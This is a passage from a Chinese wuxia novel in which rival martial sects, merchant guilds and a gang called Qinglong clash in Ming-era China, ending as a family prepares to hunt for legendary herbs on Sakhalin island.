平番吩咐众人分头联络昆明军队中的点苍派弟子,三日后,到沐平番的军营集合。”点苍派在云南,立派数百年,在军队中效力的,足足有三四百人,接到段昌义高明亮等人的联络后,知道沐平番要带他们做事,一个个都异常兴奋,有的还悄悄联络了三两个至交好友,三日后,沐平番的军营,足足来了八九百人,沐平番命众人在军营中席地而坐,等众人一排排席地而坐后,沐平番道:“这次请大家来,是为了商量如何铲除云南的青龙会势力,大家都知道,最近几年,青龙会不但在云南开设酒馆客栈当铺,还大肆开设青楼,赌场,并在赌场中给输钱的赌徒放高利贷,众多云南子弟受不住诱惑,去青楼赌场,挥金如土,有些赌徒赌输了,想要扳本,就借了青龙会的高利贷,这青龙会害的很多云南子弟倾家荡产,对还不起高利贷的赌徒,以武力威胁,甚至绑架,撕票,对善良百姓,众多商户,也敲诈勒索,收取保护费,甚至逼良为娼,云南的百姓深受其苦,视青龙会为毒蛇猛兽,今天我找大家来,是想群策群力,大家团结一致,齐心协力,众志成城把云南的青龙会彻底铲除,大家意下如何?”围坐的几百人都拍手叫好,段昌义和高明亮等人大声道:“我们全听二公子差遣,赴汤蹈火在所不辞。”沐平番微微一笑,点点头道:“此次铲除青龙会,必然会遭遇凶险,若是有人害怕,请立刻退出,我沐平番绝不见怪。”围坐的众人都大声道:“我等誓死追随二公子,赴汤蹈火在所不辞。”沐平番道:“既然如此,我们歃血为盟,来人呐,上酒!手下的兵丁七手八脚的抬上来十几坛美酒,又送上来十只大公鸡,沐平番段昌义高明亮等人,纷纷拔出佩剑,斩掉雄鸡鸡首,将鸡血滴入那十几坛美酒中,然后人手一碗端在胸前,沐平番大声道:“今日我们兄弟歃血为盟,为了云南百姓能够安居乐业,我等兄弟以苍天厚土发誓,不惧生死,誓死铲除青龙会。”说罢,带头将碗中酒一饮而尽,段昌义高明亮等数百人也齐声发誓,跟随沐平番将碗中酒喝下,沐平番道:“为了方便行事,我决定成立一个帮派,以江湖帮派之名,剿灭青龙会。”众人齐声道:“全听二公子做主。”沐平番道:“我云南地处南方,为四象神灵中朱雀之位,所以我们的帮派就叫朱雀门。”众人纷纷叫好,沐平番安排了个文书,拟定了朱雀门几条门规,大致就是,不得欺压百姓,不得坑害民众,需行侠仗义,除暴安良,沐平番将门规大声朗读给众人听,众人齐齐称赞,沐平番亲自担任门主,又让段昌义,高明亮和几个武功高强的点苍派弟子,担任朱雀门七星,将参加会议的八九百人分作七队,由朱雀七星各率一队,等诸事安排妥当后,设宴款待众人,酒席宴罢后,众人离去,第二天,沐平番带领几名随从去丐帮云南分舵,找到了丐帮云南分舵的一众首领,将准备铲除青龙会云南分舵的计划详细告知,丐帮云南总舵的丐帮弟子一向行侠仗义,与青龙会经常发生厮杀,势如水火,仇深似海,一众首领现在听说沐二公子成立朱雀门,要铲除青龙会云南分舵,一个个喜出望外,丐帮云南分舵舵主名叫徐世忠,对沐平番道:“沐将军是沐王府二公子,又是我们方副帮主的结义兄弟,如今挺身而出,要铲除青龙会,救云南黎民百姓于水火,我丐帮弟子愿意听从二公子号令,效犬马之劳。”沐平番道:“徐舵主不必客气,你这几日,派手下帮众,将青龙会在云南所有的买卖,巢穴给我查个清楚,查清楚后,请到军营找我,我们共商良策。”徐世忠立刻吩咐下去,丐帮帮众,立马出动,丐帮子弟众多,消息灵通,天下第一,只用了几天时间,便将青龙会在云南的买卖和隐藏巢穴查了个一清二楚,徐世忠亲自去沐平番军营,将查到的所有情报,一一禀报给沐平番,沐平番叫来段昌义高明亮等人,众人商量了半天,定好了计划,开始召集人手,三日后开始行动,三日后,青龙会云南分舵的所有买卖,都被自称朱雀门的蒙面人突袭,所有的酒馆客栈当铺青楼赌场都被打砸的一片狼藉,青龙会有些强横之徒,试图反抗,也被朱雀门的蒙面人杀得是落花流水,青龙会云南分舵的舵主姓孟,叫孟永祥,一边飞鸽传书将云南分舵遭受朱雀门袭击一事报告给青龙会会主宇文峰,一边到各地州府衙门去报案,说被江洋大盗抢夺财物,打伤店铺众多伙计,各地州府衙门接到报案后,也派出一些捕快上街查询,但都是光打雷不下雨,忙活了几天,一个朱雀门的人都没抓到,青龙会的买卖全部被砸后,隐藏在各地的巢穴,也遭到朱雀门袭击,巢穴内留守的会众,虽然拼死抵抗,但朱雀门不但人手众多,而且有不少武艺高强之人,青龙会云南分舵的巢穴,十有八九都被捣毁,孟永祥见势不妙,连忙下令剩余的青龙会会众都聚集孟家庄,准备凝聚力量,找朱雀门决一死战,此时的沐平番已经接到丐帮送来的消息,知道青龙会云南分舵在各地的人手,都聚集在孟家庄,于是和段昌义高明亮等人商议,让朱雀七星带领全部手下,全部骑上快马,将马匹上响铃摘去,又将马蹄上裹上软布,偃旗息鼓,趁着夜色,悄悄赶往昆明城外孟家庄,一行七八百人在沐平番和朱雀七星的带领下,急行军赶到孟家庄,到了村口,沐平番令旗一挥,命令朱雀七星带着手下将孟家庄围得水泄不通,庄中的田园犬,已经听到声响,狂吠不止,庄中之人已然警觉,沐平番策马来到庄门前,大声喝到:“孟家庄的人,全部给我出来,一个都不许留。”只见庄门吱呀一声打开,从里面走出来了十几个人,为首一人,白净脸庞,高高壮壮,拱手施礼道:“在下是孟家庄庄主孟永祥,不知沐将军深夜来此所为何事?”沐平番冷冷一笑道:“你们不必多问,束手就擒,到了州府衙门你们就知道啦。”孟永祥道:“小民并未犯罪,为何要去州府衙门?”再说小民不是兵丁,纵然有罪,也是知府衙门派捕快前来拿人,沐将军身为大将,管的是军营将士,为何深夜将我这孟家庄团团围住?”沐平番冷冷一笑道:“本将军做事,还需要你教?”我奉王爷之命,缉拿青龙会匪徒,你等速速束手就擒,随我去知府衙门自首。”孟永祥道:“将军说我们是青龙会的人,我自己怎么都不知道?”我只是个做田的农夫,你说的青龙会,我根本就不知道。”沐平番道:“是与不是,不必废话,到了州府衙门,你在辩解不迟。”孟永祥道:“沐将军不分青红皂白,就要将我等善良百姓擒拿,哪有这样的道理?”沐平番冷哼一声道:“你们胆敢抗命?”孟永祥冷冷一笑道:“将军无缘无故前来抓人,恕小民不能从命。”沐平番道:“好,既然如此,那就别怪本将军,心狠手辣了,来人呐,弓箭伺候。”沐平番把手一挥,只见身后朱雀门众人抢步上前,一个个弯弓搭箭,直指孟永祥等人,孟永祥脸色阴晴不定,一声大喊:“回庄!说罢,急速转身,带着手下逃回庄中,将庄门紧锁,沐平番道:“段昌义高明亮何在?”段昌义高明亮连忙上前拱手施礼道:“启禀将军,末将在此听候命令,沐平番道:“这孟家庄大门紧锁,闭门不出,是想当缩头乌龟,你们命令手下,给我用火箭攻击。”前排的朱雀门众人大约有一百人,手持弓箭开始射箭,一个个箭头上绑着沾了火油,正在燃烧的棉花,功夫不大,孟家庄内已是乱作一团,火箭到处,到处起火,几波箭雨后,庄中的人是再也待不下去了,熊熊烈火已将孟家庄陷入火海,庄中的人是哭爹叫妈,死伤惨重,孟永祥见火势凶猛,只好带领手下四五百人,打开庄门,手举兵刃齐声高喊,直奔沐平番等人杀来,沐平番,大声喝道:“给我放箭,只见了前排的一百朱雀门手下,箭发如雨,青龙会的人,一边挥舞手中兵刃,抵挡弓箭,一边拼命往前冲,等冲到沐平番等人面前,已经死伤了近百人,剩下的三百多人,与沐平番等人短兵相接,开始厮杀,沐平番拔出宝剑,与孟永祥战作一团,孟永祥虽然武功不弱,但却不是沐平番的对手,几十招过后,被沐平番一招青龙出水刺中,命丧当场,朱雀门的很多门众,是点苍派的弟子,武功也是不弱,青龙会的匪徒虽然凶悍,但是眼见孟永祥已死,也毫无斗志,厮杀了半个时辰后,几百人已经全部伏法,沐平番见青龙会的匪徒全部被剿灭,命令手下救治受伤的门众,又分派人手打扫战场,掩埋尸体,扑灭火焰,将孟家庄内能找到的金银珠宝,刀枪兵刃,账本粮食全部搜出,足足拉了二十多辆大车,待到天明时分,又派人通知州府衙门,让知府带领衙役前来清理战场,到了中午时分,孟家庄已经清理完毕,沐平番带领段昌义,高明亮等人亲自押着这二十多辆大车,将所有财物账本等全部送到沐王府,沐王爷亲自带人,清理赃物,看到那些账本,金银珠宝,刀枪兵刃,纵然沐王爷见多识广,看到这大批的赃物,心中也是暗暗震惊,沐王爷命令手下将所有赃物,登记造册,有了这么多证据,沐王爷心中已经没有什么担忧顾虑,于是命令文书起草奏章,上报朝廷,将青龙会的危害如实奏报,一个多月后,朝廷下旨表彰沐王爷和沐平番等一众将士,各有封赏,封沐平番为平番大将军,青龙会受此重创,自然是心有愤恨,公孙芳亲自回到辽东龙城,找到哥哥镇北侯公孙宝,想联手公孙世家,报复朱雀门,但是公孙宝忌惮沐王府位高权重,不但是雄踞云南的封疆大吏,更是大明朝堂举足轻重的皇亲国戚,于是劝公孙芳不要轻举妄动,从长计议,有道是:君子报仇十年不晚,待到时机成熟,再找朱雀门算账,公孙芳无奈,只好按照哥哥所言,忍气吞声,从此青龙会再也不敢插足云南,此后云南境内百姓祥和,安居乐业,社会稳定。 再说雷清朗,先到武当山向师傅华阳道长禀告,将圣火教发生的事,一一如实禀告,华阳道长心中知道徒儿心高气傲,如今为情所伤,自然有些沮丧,华阳道长叮嘱雷清朗道:“天涯何处无芳草,你既然与唐兰儿没有缘分,也不必心中郁闷,更不能心中怀恨,男子汉大丈夫何患无妻?”雷清朗道:“谨遵师父教诲,徒儿铭记在心,我想回家看看父母,请师父恩准。”华阳道长同意后,雷清朗下了武当山,回到杭州雷家,回到家中后,与家人团聚,雷清朗的父亲雷茂泉是南方商会会长,见儿子回来,心中自然高兴,但雷清朗心中对唐兰儿久久不能相忘,郁闷时也经常饮酒解闷,父亲雷茂泉,母亲袁氏见儿子这等模样,心中也是心疼,于是就让雷清朗跟着大哥雷清风去打理家中的生意,雷清朗听从父母之命,跟着大哥做起了买卖,几个月后,雷清朗找到父亲雷茂泉,对父亲道:“爹,南方的生意大哥自己完全可以做,我想去北方发展。”雷茂泉摇摇头道:“我们南方商会一向在南方做生意,北方的生意大部分由北方商会在做。”雷清朗道:“我跟着大哥后面几个月,看到南北的货物基本上不流通,这是何故?”雷茂泉长叹一口气道:“原来南北商会是互通有无的,但是元朝年间,蒙古人为了离间南北商会,将长江航道以比武竞技的形式,只允许胜利一方的商会在长江航道上经营,南北商会虽然知道蒙古人是为了离间双方,但迫于长江航道的经营权牵涉的利益太大,谁也不敢放弃,双方只能按元朝朝廷的要求准备比武竞技,南方商会财力雄厚,请了不少武林高手助阵,这场比武下来,北方商会死伤了不少人,只能退出长江航道,由南方商会独占长江航道,南方商会也因此获得了大量钱财,大明建立后,南方商会在长江航道上一家独大,很多船只,码头都被南方商会控制,北方商会也想插手长江航道,但船只码头大多数都属于南方商会,自然不肯让出巨额利益,双方因此多次发生争斗,北方商会又死伤了不少人,铩羽而归,南北商会也因此结下仇怨,双方水火不容,你现在想去北方发展,北方向来是北方商会的势力范围,我怕你前去,会惹祸上身。”雷清朗听了父亲的话,沉默思索良久,对父亲道:“爹,如今都是大明天下,南北商会因为利益和仇怨,造成南方北方货物难以流通,无论是对商户还是百姓,都带来巨大的损失,我想去京城找到北方商会的首脑,开诚布公,以诚相待,希望以后南北商会,可以继续互通有无,这对商户和百姓是天大的好事。”雷茂泉思索片刻道:“其实,南北商会若能通力合作,所带来的财富又何止千万?”但南方商会中有些老顽固鼠目寸光,只想着眼前的一点利益,在长江航道经营中不愿北方商会来分一杯羹,所以给双方都造成很大的损失,你此次去京城,若是能和北方商会协商一致,双方互通有无,这长江航道的船只码头,我来做南方商会中的工作,让那些老顽固从长远出发,从天下的商户和百姓利益出发,允许北方商会使用南方商会在长江沿线的码头,船只,这样南北的货物可以流通,于国于民,功在千秋。”雷清朗道:“既然如此,我和爹爹分头行事,请爹爹与南方商会的首脑,详细分析,虽然南方商会牺牲了一部分长江航道的利益,但是南北商会互通有无,大批的南方货物可以销售到北方大片区域,同时北方商会使用南方商会的船只和码头,可以收取适当费用,可以把船只和码头充分利用,也会源源不断的产生效益。”雷茂泉点点头道:“好,清朗,你说得很有道理,现在南北商会确实需要一个人出面进行调和,我来召集南方商会首脑,将你的分析告诉他们,希望他们从长远考虑,从国家商户百姓考虑,与北方商户通力合作。”雷清朗道:“多谢爹爹。”雷茂泉道:“我派三十名高手陪你前去,目前,南北商会有很多仇怨,你去了,见机行事,千万不要逞强,若是北方商会有人居心不良,你要确保自身安全,找机会脱身,爹娘在家等着你平安归来。”雷清朗道:“多谢,爹爹,您不必担忧,我自会小心行事。”几日后,雷清朗带着父亲安排的三十名随从,骑上骏马直奔京城而去,十几日后,到了京城,雷清朗派人去问清北方商户首脑的住址后,上门投了拜帖,约三日后登门拜访,此时的北方商会,由燕云七大家掌握,这七家实力最强是邓家,然后是庞家,姚家,余家,赵家,王家和董家,这七大家相互联姻,又以邓家为尊,邓家的当家人名叫邓忠,也是武林中人,内外兼修,在燕云一带,难寻敌手,邓忠为人仁义,仗义疏财,所以,其他六家都以他马首是瞻,北方一带所有的生意买卖,都是由七大家操控,邓忠接到雷清朗的拜帖后,心中忍不住泛起了嘀咕,心中暗想:“南北商会这数十年来因为长江航道,结怨很深,现在这南方商会会长雷茂泉派儿子雷清朗前来拜访,难道是来者不善?难道是仗着南方商会财力雄厚,想来北方抢我们的生意?”邓忠越想越觉得雷清朗居心叵测,于是就命人通知其他六家,三日后齐聚邓家,看雷清朗想耍什么花招,三日后,雷清朗按时赴约,登门拜见,邓忠让家仆将雷清朗领到会客厅,雷清朗进门一看,大厅上两侧椅子坐了六七个人,居中坐主位的正是邓忠,雷清朗拱手施礼道:“晚辈雷清朗拜见邓会长。”邓忠一挥手道:“雷公子请坐,上茶。”等雷清朗落座,家仆上茶后,邓忠用手一指旁边的六七人道:“雷公子这是我们北方商会庞家,姚家,余家,赵家,王家和董家的主事人,雷清朗站起身拱手施礼,道:“幸会,幸会,那庞家,姚家,余家,赵家,王家和董家的主事人也拱手回礼,邓忠道:“雷公子,不远千里来到寒舍,不知有何贵干?”雷清朗面带笑容道:“我受家父雷茂泉委派,来北方商会,想和诸位商讨南北商会如何互通有无,精诚合作。”邓忠等人听闻此言不由得面面相觑,微微一愣,邓忠道:“雷公子,这几十年来,我们南北商会因为长江航道发生多次争斗,双方都各有死伤,现在南北商会积怨很深,势同水火,你现在来谈互通有无,精诚合作,是不是有些无稽之谈?”雷清朗道:“邓会长,我知道自元朝以来,因为蒙古人的离间,所以南北商会为了长江航道发生多次争斗,双方都各有死伤,目前南北商会确实是有一些误会,但我相信只要我们双方打开心结,放下仇怨,以诚相待,精诚合作,那么南北商会可以互通有无,对天下的商户和百姓都有益无害,所以今日我冒昧前来,想和邓会长及北方商户的一众首领洽谈如何合作。”邓忠几人相互交换一下眼神,邓忠道:“既然南方商会提出合作,那么我想请问,南方商会拿出什么诚意,值得我们双方合作?”雷清朗道:“我临出发前,已经和家父商量好了,如果北方商会愿意合作,家父愿出面说服 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南方商会的几个首脑,将长江航线的码头船只对北方商会开放,北方商会只需缴纳合理的使用费即可。”此言一出,邓忠等人不禁吃了一惊,要知道南北商会为了争夺长江航道的码头和船只,数十年来,大大小小的争斗几十次,北方商会都是铩羽而归,没占到便宜,反而死伤了不少人,邓忠不敢相信自己的耳朵,问道:“雷公子,你是说南方商会愿意将长江航线的码头船只对我们开放,我们只需缴纳一些合理的使用费即可吗?”雷清朗道:“邓会长,正是。”此时坐在两旁的几大家主事人忍不住交头接耳,小声议论起来,邓忠稳稳心神,对雷清朗道:“雷公子,你的提议的确很有诚意,对双方都有很大的益处,但是双方的这几十年来多次发生争斗,我北方商会也死伤了上百人,现在纵然雷公子诚意很大,但我们若是为了利益就放下仇怨,和你们合作,只怕我北方商会中,曾经为抢夺长江航道而死伤的人心中不服,这些死伤人员的家人后辈,我们无法对他们交代。”雷清朗道:“邓会长,我此次代表南方商会,找你们商谈合作,并非为了个人利益,而是为了普天之下千千万万的商户和百姓,现在南北货物不流通,千千万万的商户和百姓手中的货物无法卖出,对商户和百姓造成了极大的伤害,我希望双方放下仇怨,都为千万个商户个百姓考虑,我南方商会中也有人不愿意,将长江航道的码头船只对北方商户放开,我认为他们只是为了个人私利,而没有考虑到南北双方货物不流通,给千万家商户和百姓带来了巨大的损失,所以我此次来之前,也恳请我父亲去做南方商会几个首脑的思想工作,让他们放下私心,多为天下的黎民百姓,万千商户考虑,我在此也恳请邓会长放下仇怨,南北商会通力合作,不但可以帮助千万家商户,也可以帮助那些辛苦耕种辛勤制作的农户手艺人,让他们可以增加一些收入,在下一片赤诚之心,满腔肺腑之言,请邓会长三思。”邓忠和六大家的当事人考虑良久,邓忠问道:“诸位贤弟,你们意下如何?”六大家的当事人齐声答道:“全凭大哥做主。”邓忠点点头,转头对雷清朗道:“雷公子,南北商会的首脑们十有八九都是武林中人,我们虽想合作,但也需要给曾经死伤的人一个交代。”雷清朗道:“不知邓会长有何高见?”邓忠道:“我们按武林的规矩来,比武竞技,胜利一方可按自己意愿行事,落败一方,需听从胜者安排,雷公子意下如何?”雷清朗思索片刻道:“好,我们君子一言驷马难追。”邓忠道:“雷公子,诸位贤弟,我们到后院的比武场。”众人一起起身,随邓忠到了后院比武场,邓忠在北方,财力雄厚,家大业大,后院的比武场,也是规模宏大,场边的十八般兵器,刀枪剑戟,斧钺钩叉,鞭锏锤爪,镗棍槊棒,拐子流星,样样齐备,邓忠道:“雷公子,你远来是客,你看如何比试?”雷清朗道:“邓会长,此次比武,是以文比,而不能武斗,文比只是切磋竞技,武斗则有可能造成受伤,我们此次是想谈合作,而不是为了扬名立万,争强好胜,请邓会长和诸位当家人考虑。”邓忠等人都微微点头,心中暗暗赞许,邓忠看了看六大家的当事人,六人心中已经明白邓忠的意思,董家的主事人名叫董标,外号草上飞,一身轻功出神入化,上前几步,对雷清朗道:“雷公子,我抛砖引玉,献丑了。”说罢走到比武场旁一棵柳树旁,双脚连踏,转眼间已经到了树顶,董标凝神静气,两脚踩在一根大拇指粗细的柳枝上,双手抱拳,向树下众人施了一礼,然后一个鹞子翻身,跳下柳树,众人齐齐鼓掌,大声叫好,邓忠等人看了看雷清朗,雷清朗微微一笑,也走到柳树跟前,只见他气运丹田,双脚踏地,足尖一点,使了一招一鹤冲天,稳稳的站在一根筷子粗细的柳枝上,双手抱拳也向树下众人施了一礼,然后施展武当派名震天下的梯云纵,飘飘然下了柳树,众人心中都暗暗称赞,这雷清朗的轻功可比董标高出一大截,这时,余家的当事人余猛上前几步,对雷清朗道:“雷公子,余某不会什么精妙的招式,只有一把粗力气,献丑了。”余猛力大无比,绰号大力金刚,只见他走到场边,气沉丹田,双臂用力将场边的青石狮子举过头顶,那青石狮子又高又大,足足要有五百斤左右,余猛双手来回将石狮子举了三个上下,然后,站稳身形,将石狮子轻轻放下,众人在旁一阵叫好声,只见余猛,面不改色心不跳,对着雷清朗一拱手,道:“雷公子,请吧。”雷清朗缓步上前,走到石狮子面前,凝神运气,气沉丹田,伸出一只手臂牢牢的抓住石狮子的一条前腿,单臂一用力,将石狮子举过头顶,然后象余猛一样,单臂上下,将石狮子举了三个上下,然后缓缓的将狮子放下,此时,雷清朗的发角也是微微出汗,但他单臂举石狮已经胜出余猛,余猛面露羞愧之色,但他是一个性格直爽之人,对着雷清朗道:“雷公子,在下佩服,佩服。”雷清朗忙拱手回礼道:“余兄,客气了。”此时的邓忠,眼见上前比试的两人都已落败,心想自己要亲自出马了,于是,邓忠对雷清朗道:“雷公子,你看这比武场上的青石板,材质如何?”说罢气运丹田,力发脚掌,一步一步的在青石板上走过,只见青石板立刻陷下去一行脚印,这邓忠是少林真传弟子,一身内功在燕云十六州难寻对手,六大家当事人见邓忠功力如此深厚,也齐声叫好,雷清朗思索片刻,走到青石板脚印旁边,凝聚全身真气,伸出脚掌,如同一个扫帚一般从青石上划过,只见脚掌所过之处,青石板又光滑如镜,邓忠和那六大家当事人万万没想到,雷清朗年纪轻轻,一身功力竟然如此精湛,邓忠抱拳拱手,心悦诚服道:“雷公子不愧是武当掌门华阳道长的高徒,邓某自愧不如,佩服,佩服。”雷清朗忙拱手还礼道:“邓会长客气了。”邓忠道:“此次竞技,雷公子三场全胜,我北方商会,愿意受雷公子差遣,合作之事,全听雷公子做主。”身后六大家的当事人也齐齐拱手施礼道:“合作之事,全听雷公子做主。”雷清朗环顾四周,拱手回礼道:“双方合作,需要公平公正,在下不敢擅自做主,只愿和邓会长及几位当家人友好协商,合作共赢。”邓忠几人见雷清朗如此谦逊低调,心中都是暗暗赞许,雷清朗对众人道:“在下还有一个事情,想请诸位帮忙。”邓忠等人道:“雷公子不要客气,有事请讲。”雷清朗从怀中掏出了几张银票,对众人道:“这几十年来,双方争斗,死伤不少,雷某敬上这二十万两银票,请邓会长和诸位当家人分给北方商会死伤人员的家属或后辈,有劳诸位了。”说罢,又对众人深深作揖,邓忠等人内心大为感动,这几十年来,北方商会,伤了上百人,阵亡的也有二三十人,按照江湖规矩,伤者一般给纹银三百两,阵亡的一般给纹银一千两,现在,这雷清朗给了二十万两银票,这几十年北方商会的伤亡人员,雷清朗不但给了抚恤金,还多给了几倍,此时的邓忠和六大家当事人对雷清朗佩服的五体投地,齐声道:“雷公子不但武功出神入化,而且仗义疏财,我等万分钦佩,从今以后,我等以雷公子马首是瞻。”雷清朗连道:“不敢,不敢。”邓忠领着众人回到客厅,安排酒席,款待雷清朗及一众随从,酒席宴上推杯换盏,宾主尽欢,自此以后,南北商会通力合作,互通有无,南北的货物相互流通,给南北商会和成千上万的小商户们带来了巨大的利益,北方商会也请雷清朗常驻京城,作为双方联络沟通的纽带,南北双方的货物源源不断,销售火爆,为南北商会带来了巨量财源,但也受到一些绿林人士,响马,盗贼的注意,货物不断被绿林响马打劫,雷清朗和父亲商量后,又和邓忠等人商议,决定在京城成立护商帮会,因为雷清朗出生武当,京城又位于北方,所以,雷清朗给护商帮会起了个名字叫玄武堂,雷清朗被推举为玄武堂堂主,雷清朗从南北商会中遴选了几位武艺高超的首领,称作玄武七星,又从南北商会的各大家族中抽调好手,加入玄武堂,此后南北商会的生意越做越大,财力也日益雄厚。 再说红花天尊陈秀娟,绿叶天尊张矢志,自从圣火崖下山后,与众兄弟告别,回到了京城,这张矢志是荣国公张玉的孙子,家世显赫,回京之后,张矢志就去了御林军中效力,陈秀娟是大明靖难之变的大功臣泾国公陈亨的孙女,两人自小定了娃娃亲,回京之后,家中父母也就命两人尽快完婚,此时雷清朗已经在京城发展,得知七弟张矢志和陈秀娟的婚事,自然是送上重礼祝贺,张矢志和陈秀娟两人完婚后,雷清朗却遇到了麻烦,因为南北商会的生意越做越大,所以被青龙会燕赵分舵觊觎,不断派人捣乱,妄图敲诈南北商会,从南北商会的生意中分一杯羹,雷清朗心中不忿,率领玄武堂一众高手,和青龙会燕赵分舵展开江湖厮杀,双方派遣高手,各施手段,因为雷清朗是武当派掌门人华阳道长高徒,背后有武当派撑腰,而北商会的邓忠又是少林真传弟子,少林派自然不会袖手旁观,有了少林武当两大门派的暗中支援,再加上南北商会的财力,几番明争暗斗下来,青龙会不但没有占到便宜,反而损兵折将,于是青龙会会主宇文峰便找舅舅公孙宝商议,想请公孙宝派遣手下高手与青龙会联手,和玄武堂决一死战,但是公孙宝为人谨慎,一向深谋远虑诡计多端,考虑到京城在天子脚下,王公贵族密集,御史言官众多,自己身为镇北侯,不宜过多抛头露面插手江湖争斗,以防树大招风,遭到御史言官弹劾,再说公孙氏一旦派遣手下高手,联手青龙会,与玄武堂厮杀,那么少林武当定然不会袖手旁观,必定会尽遣高手支援玄武堂,到时候闹得沸沸扬扬满城风雨,万一让御史言官抓到把柄,只怕会得不偿失,坏了公孙氏的千年大计,于是公孙宝暗中重金贿赂代王朱桂,请代王朱桂出面,通过官府势力打压南北商会和玄武堂,南北商会和玄武堂被官府处处打压掣肘后,雷清朗被逼无奈,只好找张矢志陈秀娟夫妻帮忙,张矢志陈秀娟夫妻见义兄有难,自然不会无动于衷,夫妻二人通过家中长辈,找到镇北侯公孙宝施压,镇北侯公孙宝见两位国公家族联手出面施压,也不敢轻易得罪,只好让青龙会罢手,张矢志陈秀娟夫妻二人,又去宫中拜见师伯静心师太,将青龙会的恶行告知,静心师太心中恼怒,找到表妹皇太后张氏,皇太后张氏见此事牵扯到皇叔祖代王朱桂和镇北侯公孙宝,也是感觉头疼,但是碍于表姐静心师太情面,于是命人去找代王朱桂,旁敲侧击一番,代王朱桂见皇太后出面,哪里还敢多言,此后南北商会和玄武堂,发展也自然一帆风顺,经历这场风波后,雷清朗为了震慑青龙会,又从江湖中礼聘了不少武林高手,加入玄武堂,玄武堂自此以后,已成为燕云十六州第一大帮派势力。 张矢志陈秀娟夫妻婚后一年,有了孩子,陈秀娟也就在家相夫教子,伺候公婆,和唐旭儿妻姐龚雅慧也经常走动,龚雅慧是兵部侍郎于谦大人的儿媳,张矢志出身显赫,加上武艺高强,在御林军中也是步步高升,张矢志时刻不忘圣火崖的惨变,但费尽心思却也查不出什么线索,夫妻二人在家时,常常思念唐旭儿和龚雅莲,陈秀娟道:“当年雅莲姐即将生产,不知道那孩子有没有逃出去?”张矢志虽然宽慰劝解,但心中暗想,只怕那孩子,已经凶多吉少。 25. 第 25 章 第二十五章:库页奇遇 光阴似箭,日月如梭,转眼间几年过去,此时的唐晟名叫张晨光,已经有了八九岁,张晨光从小在父母哥哥的关爱下长大,尤其是母亲更是对他关心备至,宠爱有加,但是张晨光因为刚出生时,就被沈云带着逃亡,一路上只能喝着一些米汤清水保命,所以身体比较瘦弱,跟随父亲和哥哥们练武,总感觉没有什么进展,内力也是平平,张晨光自记事起,每年端午中秋春节都被父母带到后山的一个山洞,山洞里住着一个怪叔叔,张晨光也不知道这个怪叔叔叫什么名字,父母让他喊这个怪叔叔叫二叔,怪叔叔就像哑巴一样,很少开口说话,但每次看到自己时,眼里就会流露出非常温柔的眼神,充满了关爱,所以,张晨光也不感觉到害怕,怪叔叔一天到晚,成年累月就在山洞里练习武艺,岛上还有三个太爷爷,大太爷爷九十多岁了,岛上的人生病都去找他,他的医术可高了,二太爷爷也有九十岁了,头发黄黄的,最喜欢带着岛上的孩子们玩耍,张晨光也喜欢这二太爷爷,四太爷爷七十多岁了,不知道什么原因,四太爷爷只有一只手,四太爷爷的脾气最怪了,经常一个人在海边对着大海喃喃自语,但是岛上所有的人都对四太爷爷非常好,自己的爷爷张敬贤,父亲张志远对四太爷爷更是关心备至,有时候四太爷爷发脾气,大喊大叫,说要骑着巨鹰出去游玩,大太爷爷,二太爷爷都不允许,说怕他出去再有什么闪失,四太爷爷也不敢违背大太爷爷的话,只好留在岛上,经常坐在海滩边,看着海面发呆,又过了几年,大太爷爷和二太爷爷都去世了,四太爷爷脾气就更古怪了,经常一个人坐在大太爷爷和二太爷爷的坟墓前发呆,有时候还会看着大海伤心哭泣。 光阴似箭,日月如梭,离圣火教当年遭遇袭,已经过去十五年,南海炎黄岛上的一个清晨,一个少年正在沙滩上练剑,正是张志远当年为他取名张晨光的孩儿,一名守卫走来,对少年躬身行礼,道:“三少爷,岛主召唤,张晨光收了招式,随守卫来到大堂之中,只见父母,两个哥哥,已经在座,张晨光上前,给父母和两个哥哥行礼,唐玉儿将张晨光唤至身边,为他擦去脸上汗渍,心疼的道:“晨光,练剑虽然重要,但也不能太过辛苦。”张晨光答道:“谢谢母亲关心,孩儿不累。”张志远对着三个儿子道:“今天叫你们三个人来,是为了北洋库页岛碧海灵果和火龙参一事,传闻库页岛上有一碧海深潭,潭中有一果,称为碧海灵果,是至阴至寒之物,潭边有一奇参,称作火龙参,是至阳至热之物,两物相生相克,每百年才成熟一次,据古书记录,今年正是成熟之际,所以我找你们来,一起去岛中寻找,看看有没有机遇,寻得此宝。”唐玉儿在旁道:“夫君,库页岛方圆百里,是北洋有名的大岛,我们不知位置,你带孩子们前去,只怕难以寻得。”张志远道:“我知道,但既然得知有这样的机缘,又怎能错过?”老大张皓光问道:“爹,这火龙参和碧海灵果,有什么奇妙之处?”张志远答到:“据古书记录:“这火龙参,长在至阴至寒处,生长千年后方能结果,每百年方可成熟一次,可以活死人,肉白骨,习武之人得到,内力大增,可抵十年苦练,但此宝至热至阳,需在碧水寒潭中寻得至阴至寒的碧海灵果,同时服下,方能阴阳调和,固气培元,服下后气聚丹田,将体内真气运行全身经脉,不但可打通任督两脉,更可打通奇经八脉,凭添二十年功力,所以武林中人视为珍宝,但奇珍异果处,往往有猛蛇守护,所以这些年,很多寻宝之人,未寻得宝物,反倒丢了性命。”唐玉儿一听,不禁忧上眉头,道:“夫君,既然如此凶险,那我们不去寻宝便是。”张志远叹口气道:“晨光自幼体弱,我只盼寻得此宝,让晨光服用,可抵他二十年苦练。”唐玉儿一听,也知道张晨光刚一出生,就让沈云携带出逃,路上忍饥挨饿,差一点小命不保,好不容易来到岛上,自己虽悉心照料,但也落个体弱的病根,如今丈夫欲寻宝物,给晨光服用,也是为了晨光以后着想,自己也只能祈求上天,愿晨光吉人天相,父子几人寻得宝物,平安归来,再看张晨光,因自幼体弱,虽时时苦练,但功效不佳,父亲张志远武功卓越,被江湖中人尊称为南海神龙,两个哥哥也已经武功大成,一个称作百步穿杨南海鹰王,一个称作千里追风南海蝠王,自己却武功低微,内力平平,实在惭愧,今日听得父亲所说宝物,竟有如此功效,自是一字不漏,牢牢记下,内心欢呼雀跃,欣喜万分,张晧光张晓光兄弟,自幼得父亲真传,已是一等一的高手,又受岛上巨鹰和蝙蝠的启发,结合父亲所传,轻功更是出神入化,南海鹰王蝠王的名头,已经响彻南海和中原大江南北,眼见三弟体弱,武功低微,也是着急万分,今日闻得火龙参和碧海灵果竟有如此功效,也是跃跃欲试,只盼寻得此灵珍异果,给三弟服用。 